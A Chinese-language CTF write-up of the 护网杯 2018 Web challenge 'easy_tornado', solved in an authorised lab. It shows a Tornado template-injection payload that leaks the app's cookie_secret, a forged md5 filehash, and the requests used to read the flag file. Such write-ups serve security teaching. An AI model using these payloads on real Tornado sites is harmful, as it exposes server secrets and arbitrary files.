护网杯 2018 - Web - easy_tornado

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
护网杯 2018 - Web - easy_tornado
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | 护网杯 2018 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
信息收集
首页泄漏三个文件链接:
/hints.txt:md5(cookie_secret+md5(filename))(filehash 算法提示)/welcome.txt:render(提示 SSTI)/flag.txt:flag in /fllllllllllllag
题目 ID、练习场 ID、friendly_id 与提交记录 ID 等标识已脱敏。
漏洞分析
类型:Tornado 模板注入(SSTI)+ cookie_secret 泄漏 + filehash 伪造。
原理:filehash 算法为 md5(cookie_secret + md5(filename))(由 /hints.txt 提示)。/file 读取任意文件需正确 filehash。/error?msg= 存在 Tornado 模板注入,可读 handler.settings 泄漏 cookie_secret,从而伪造任意文件的 filehash。
利用过程
- 定位 SSTI:
/error?msg={{1}}→1(模板执行);{{2*2}}、{{1+1}}→ORZ(运算符*、+、_被过滤)。 - 泄漏 cookie_secret:
/error?msg={{handler.settings}}→
1 | {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'} |
- 计算 filehash 读 flag:
1 | import hashlib |
- 读 flag:请求携带文件名与算出的 filehash。
1 | GET /file?filename=/fllllllllllllag&filehash=d95e40114b826b6a9c4064f0be5d465f |
完整 EXP
payload 归档内容并入本节。
SSTI 泄漏 cookie_secret 的请求:
1 | GET /error?msg={{handler.settings}} |
计算 filehash 并读 flag 的脚本与请求:
1 | import hashlib |
1 | GET /file?filename=/fllllllllllllag&filehash=d95e40114b826b6a9c4064f0be5d465f |
关键信息:
- cookie_secret:
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx - flag 位置:
/fllllllllllllag - filehash 算法:
md5(cookie_secret + md5(filename))
Flag
1 | flag{xxxx} |
提交记录:结果 accepted,+1 分(真实 flag 与提交 ID 已脱敏)。
踩坑与总结
- 运算符
*、+、_被过滤(返回ORZ),但{{handler.settings}}可直接读应用配置。 - 先
/error?msg={{1}}确认模板执行,再读handler.settings拿cookie_secret,避免盲目构造。 - filehash 是
cookie_secret与「文件名 md5 的十六进制串」拼接后再取 md5,注意是内层 hexdigest 而非原始字节。 - 平台提交 accepted、+1 分,二次复现结果一致。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果







